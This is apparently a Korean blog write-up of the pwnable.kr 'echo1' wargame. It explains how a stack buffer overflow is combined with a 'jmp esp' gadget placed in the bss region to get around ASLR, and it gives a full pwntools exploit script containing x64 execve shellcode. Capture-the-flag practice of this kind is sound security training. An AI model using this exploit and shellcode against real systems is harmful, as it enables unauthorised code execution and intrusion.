NX는 안걸려있지만 서버환경상 aslr이 걸려있으므로 스택영역에 쉘코드를 쓰고 그 주소를 RET값에 넣는 방법은 안된다.
bss영역은 aslr이 적용되어도 주소가 변하지 않음으로 id가 bss영역에 있는 것을 이용하여 쉘코드를 실행 시킬 수 있다.
버퍼오버플로우가 발생하는 echo1함수다.
먼저 id에 "\xff\xe4" 값을 넣는다.
이는 어셈블리어로 jmp esp명령어와 같다.
>>> payload
dump(40) + id_addr(8) + shellcode
x64는 주소가 8바이트이다.
쉘코드도 x32와 다른 코드를 사용해야한다.
echo1함수의 에필로그에서 leave ret후 eip는 id의 주소를 가르키고 esp는 id_addr다음 쉘코드를 가르키게된다.
id에는 jmp esp명령이 있으므로 eip가 esp로 jump하면 쉘코드의 위치에 eip가 오게되고 쉘을 딸수 있다.
exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * local = False if local: p = process("./echo1") else: p = remote("pwnable.kr",9010) print p.recv(2048) p.sendline("\xff\xe4") print p.recvuntil(">") p.sendline("1") id_addr = 0x6020A0 payload= "A"*40 payload+=p64(id_addr) payload+="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" print p.recv(2048) p.sendline(payload) p.interactive() | cs |
'정보보안 > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] mistake (0) | 2018.11.08 |
---|---|
[pwnable.kr] leg (0) | 2018.11.08 |
[pwnable.kr] input (0) | 2018.11.08 |
[pwnable.kr] random (0) | 2018.11.08 |
[pwnable.kr] passcode (0) | 2018.11.08 |